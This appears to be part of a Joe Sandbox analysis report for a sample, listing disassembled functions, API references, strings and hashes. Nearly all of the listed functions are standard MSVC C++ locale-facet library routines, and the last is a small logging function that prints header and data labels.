API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmessagesstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2525416601-3145022300
Opcode ID: 5267a9957ff807e0d8048dcfdb4c8a696385948f6b01c38c1e6100ef9e554526
Instruction ID: e31313b47818e4fa723cebde3304911d0e6d9bcfcc32675d63fa63f32350ad4b
Opcode Fuzzy Hash: 5267a9957ff807e0d8048dcfdb4c8a696385948f6b01c38c1e6100ef9e554526
Instruction Fuzzy Hash: 1C01A13190020997CB45EBB4D847AFEB737AF41720F14052DF6107B2D1DF789A458798

Function 00661179 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661180
std::_Lockit::_Lockit.LIBCPMT ref: 0066118A
int.LIBCPMT ref: 006611A1

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 006611C4
std::bad_exception::bad_exception.LIBCMT ref: 006611D8
__CxxThrowException@8.LIBCMT ref: 006611E6
std::locale::facet::_Facet_Register.LIBCPMT ref: 006611FC

Strings

bad cast, xrefs: 006611D0

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 1676052248-3145022300
Opcode ID: 144dfffc6cf9ecc199da783fef5036167a9ee660f9e02e39d3c36e6819f7d871
Instruction ID: dcf8e966f7f7ec9daa7d07fac8d87b5ef1b3e8221936871c71bbf339b4645cb8
Opcode Fuzzy Hash: 144dfffc6cf9ecc199da783fef5036167a9ee660f9e02e39d3c36e6819f7d871
Instruction Fuzzy Hash: 2201A13190020597CB05EBB0D853AFEB737AF41721F14061DF6107B2D1CF789A458799

Function 0066CA78 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066CA7F
std::_Lockit::_Lockit.LIBCPMT ref: 0066CA89
int.LIBCPMT ref: 0066CAA0

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 0066CAC3
std::bad_exception::bad_exception.LIBCMT ref: 0066CAD7
__CxxThrowException@8.LIBCMT ref: 0066CAE5
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066CAFB

Strings

bad cast, xrefs: 0066CACF

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2090539961-3145022300
Opcode ID: 67f399d63503d9145d7d7f64ca0e814bbd7a10c470f64cd645c21b791ffc8b76
Instruction ID: ec4f1ccdefa5ac39cf28df0df9828a9e6186cc863a4c66b3ea371a43a4c459d7
Opcode Fuzzy Hash: 67f399d63503d9145d7d7f64ca0e814bbd7a10c470f64cd645c21b791ffc8b76
Instruction Fuzzy Hash: 92018B31A006199BCB05EBA0C853AFE7737AB40725F14051EF9116B2D1DF78AA058799

Function 00660A1D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660A24
std::_Lockit::_Lockit.LIBCPMT ref: 00660A2E
int.LIBCPMT ref: 00660A45

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

ctype.LIBCPMT ref: 00660A68
std::bad_exception::bad_exception.LIBCMT ref: 00660A7C
__CxxThrowException@8.LIBCMT ref: 00660A8A
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660AA0

Strings

bad cast, xrefs: 00660A74

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 3532015510-3145022300
Opcode ID: a4a9e4347d902a243108e4174a03dfc018b233ad6e86e47f514dc31253819b02
Instruction ID: d35e4f58ef30ade2f85602cdb2ba920551ae3a08851aa5ef5a760c7967559598
Opcode Fuzzy Hash: a4a9e4347d902a243108e4174a03dfc018b233ad6e86e47f514dc31253819b02
Instruction Fuzzy Hash: E201C0319002199BDB05EBF4C842AFE7737AF40761F24062DF9107B2D2CF78AA058799

Function 0066C30E Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C315
std::_Lockit::_Lockit.LIBCPMT ref: 0066C31F
int.LIBCPMT ref: 0066C336

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

messages.LIBCPMT ref: 0066C359
std::bad_exception::bad_exception.LIBCMT ref: 0066C36D
__CxxThrowException@8.LIBCMT ref: 0066C37B
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066C391

Strings

bad cast, xrefs: 0066C365

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmessagesstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2525416601-3145022300
Opcode ID: 6e4830b861aca5faf5c6526d7d3f3da468c763ce8c0744948eb1756581726238
Instruction ID: df48b73f9e3323648c589788dc7da250848a12aad9e379499e767c09342a382d
Opcode Fuzzy Hash: 6e4830b861aca5faf5c6526d7d3f3da468c763ce8c0744948eb1756581726238
Instruction Fuzzy Hash: 9201C0319006099BCB05EBB0C842AFE7737AF41720F14451DF9507B2E1DF78AA058798

Function 0066CB15 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066CB1C
std::_Lockit::_Lockit.LIBCPMT ref: 0066CB26
int.LIBCPMT ref: 0066CB3D

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 0066CB60
std::bad_exception::bad_exception.LIBCMT ref: 0066CB74
__CxxThrowException@8.LIBCMT ref: 0066CB82
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066CB98

Strings

bad cast, xrefs: 0066CB6C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2090539961-3145022300
Opcode ID: e5a919d2afa912a18971160e71f6e2328ff81e991e1b3ec4eb43d62a92f22d1b
Instruction ID: c6c9f33f117352a071202b358afcf3945dbc27f36b15f341f60357e51fc84453
Opcode Fuzzy Hash: e5a919d2afa912a18971160e71f6e2328ff81e991e1b3ec4eb43d62a92f22d1b
Instruction Fuzzy Hash: 7E01AD319006099BCB05EBB0DC43AFE7727AF40720F14061DF9107B2D1DF78AA059798

Function 0066C3AB Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C3B2
std::_Lockit::_Lockit.LIBCPMT ref: 0066C3BC
int.LIBCPMT ref: 0066C3D3

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 0066C3F6
std::bad_exception::bad_exception.LIBCMT ref: 0066C40A
__CxxThrowException@8.LIBCMT ref: 0066C418
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066C42E

Strings

bad cast, xrefs: 0066C402

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 1676052248-3145022300
Opcode ID: 105b1fc00cd14f3dafaac35b09e175c8871968e761607b04bc0c4535f79579e3
Instruction ID: f248424363bbbad3d580fe2275bde8c291d67a9c41a002bbccda29ca57eed011
Opcode Fuzzy Hash: 105b1fc00cd14f3dafaac35b09e175c8871968e761607b04bc0c4535f79579e3
Instruction Fuzzy Hash: 1501AD319006099BCB05EBA0D852AFE7727AF80720F54051DF9107B2D1DF78AE458798

Function 0066CBB2 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066CBB9
std::_Lockit::_Lockit.LIBCPMT ref: 0066CBC3
int.LIBCPMT ref: 0066CBDA

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 0066CC11
__CxxThrowException@8.LIBCMT ref: 0066CC1F
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066CC35

Strings

|s, xrefs: 0066CBD2
bad cast, xrefs: 0066CC09

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast$|s
API String ID: 2227438316-4059296569
Opcode ID: 221dacccefe2c8353e94a940c9da4ee2e1c4a9156d46a232f285566f21abb79a
Instruction ID: 14e2d3f078a66b8d3e7272253945f6321af0704f225a677b50b7db09b780ca0d
Opcode Fuzzy Hash: 221dacccefe2c8353e94a940c9da4ee2e1c4a9156d46a232f285566f21abb79a
Instruction Fuzzy Hash: 0501AD71900A099BCB05EBB0D952AFEB737AF40720F14062DF9507B2D1DF78AA058799

Function 0066C448 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C44F
std::_Lockit::_Lockit.LIBCPMT ref: 0066C459
int.LIBCPMT ref: 0066C470

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 0066C493
std::bad_exception::bad_exception.LIBCMT ref: 0066C4A7
__CxxThrowException@8.LIBCMT ref: 0066C4B5
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066C4CB

Strings

bad cast, xrefs: 0066C49F

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 1676052248-3145022300
Opcode ID: 496c9456a5503aa3fbbc2231c8bbd294be282c3d36b850c8da4dc65057579891
Instruction ID: 62bf7cbec1d8700f4790014da14d411349c71620fe695fb879b4f3ed14d66504
Opcode Fuzzy Hash: 496c9456a5503aa3fbbc2231c8bbd294be282c3d36b850c8da4dc65057579891
Instruction Fuzzy Hash: A301A931900619ABCB05EBB0C852AFEB737AF80721F24021DF9117B2D1CF78AA458799

Function 0065C589 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0065C590
std::_Lockit::_Lockit.LIBCPMT ref: 0065C59A
int.LIBCPMT ref: 0065C5B1

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

codecvt.LIBCPMT ref: 0065C5D4
std::bad_exception::bad_exception.LIBCMT ref: 0065C5E8
__CxxThrowException@8.LIBCMT ref: 0065C5F6
std::locale::facet::_Facet_Register.LIBCPMT ref: 0065C60C

Strings

bad cast, xrefs: 0065C5E0

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 1676052248-3145022300
Opcode ID: ef30e28e30d201cec39b9e39b2dab8913436582eab1bc4aafb0e4f233322a454
Instruction ID: 22c646ed180755f14a8ffdae357330f9e018e9015fb238a3cda8fe3d1f199111
Opcode Fuzzy Hash: ef30e28e30d201cec39b9e39b2dab8913436582eab1bc4aafb0e4f233322a454
Instruction Fuzzy Hash: 4D01AD719002099BCB05EBB0C862AFDB727AF40732F140A1DF9117B2D1DF78AA099798

Function 00660E68 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00660E6F
std::_Lockit::_Lockit.LIBCPMT ref: 00660E79
int.LIBCPMT ref: 00660E90

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 00660EC7
__CxxThrowException@8.LIBCMT ref: 00660ED5
std::locale::facet::_Facet_Register.LIBCPMT ref: 00660EEB

Strings

bad cast, xrefs: 00660EBF
0s, xrefs: 00660E88

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: 0s$bad cast
API String ID: 2227438316-2111171359
Opcode ID: da0e96c1aae7ae1894c33ca0b88a39ea7249c3ab852e1fea17965fbcda95caa2
Instruction ID: 28e22f2a0183f76736cf6e528b63cac98962e73447568b09396a0688d0375d03
Opcode Fuzzy Hash: da0e96c1aae7ae1894c33ca0b88a39ea7249c3ab852e1fea17965fbcda95caa2
Instruction Fuzzy Hash: 9201AD319402199BCB05EBA0D843AFE7737AF80721F24092DF9117B2D1CF78AA458798

Function 00661E54 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661E5B
std::_Lockit::_Lockit.LIBCPMT ref: 00661E65
int.LIBCPMT ref: 00661E7C

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

moneypunct.LIBCPMT ref: 00661E9F
std::bad_exception::bad_exception.LIBCMT ref: 00661EB3
__CxxThrowException@8.LIBCMT ref: 00661EC1
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661ED7

Strings

bad cast, xrefs: 00661EAB

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmoneypunctstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2090539961-3145022300
Opcode ID: 2f02889e413c2b2deabebbd3874861329ec63e5550089fb6aaba03a41fd2fe15
Instruction ID: ab1392dd9c3f9c6ac4bdd20d3824bce6b75a70f558f7115244bf5fab511da65d
Opcode Fuzzy Hash: 2f02889e413c2b2deabebbd3874861329ec63e5550089fb6aaba03a41fd2fe15
Instruction Fuzzy Hash: B501AD329002099BCB05EBA0D842AFE7727BF81721F28051DF9107B2D1CF78AA459799

Function 0065C626 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0065C62D
std::_Lockit::_Lockit.LIBCPMT ref: 0065C637
int.LIBCPMT ref: 0065C64E

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

messages.LIBCPMT ref: 0065C671
std::bad_exception::bad_exception.LIBCMT ref: 0065C685
__CxxThrowException@8.LIBCMT ref: 0065C693
std::locale::facet::_Facet_Register.LIBCPMT ref: 0065C6A9

Strings

bad cast, xrefs: 0065C67D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowmessagesstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2525416601-3145022300
Opcode ID: eb31311eb745ebb376378e41066841b6a901fffc0a9e2a7a10059b58935db701
Instruction ID: 295ccab28ba37662100bac5b56690fc281d6c3dfbe31b658235d6fcc7de3165b
Opcode Fuzzy Hash: eb31311eb745ebb376378e41066841b6a901fffc0a9e2a7a10059b58935db701
Instruction Fuzzy Hash: 2A01A1319002159BCB05EBA0C842AFDB727AF40731F14011DF9117B2D1DF78AA49879A

Function 0066D737 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066D73E
std::_Lockit::_Lockit.LIBCPMT ref: 0066D748
int.LIBCPMT ref: 0066D75F

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

collate.LIBCPMT ref: 0066D782
std::bad_exception::bad_exception.LIBCMT ref: 0066D796
__CxxThrowException@8.LIBCMT ref: 0066D7A4
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066D7BA

Strings

bad cast, xrefs: 0066D78E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowcollatestd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2346505839-3145022300
Opcode ID: bbff907262fb0a16318392415fcbb353a6b372bd2b19361aba4da2d6a9570208
Instruction ID: 4a557789ea30e55437683725dc081b23eb82ccf9e3f46204383c1890a41eda25
Opcode Fuzzy Hash: bbff907262fb0a16318392415fcbb353a6b372bd2b19361aba4da2d6a9570208
Instruction Fuzzy Hash: DF019271A002199BDB05EBB0D843AFE7B37AF80721F24052DF9117B2D1DF78AA458799

Function 0040E790 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_wprintf.LIBCMT ref: 0040E7A8
_wprintf.LIBCMT ref: 0040E7C2

Strings

[DATA_IN]%s, xrefs: 0040E7D7
[HEADER_OUT]%s, xrefs: 0040E7BD
[DATA_OUT]%s, xrefs: 0040E7F1
[HEADER_IN]%s, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
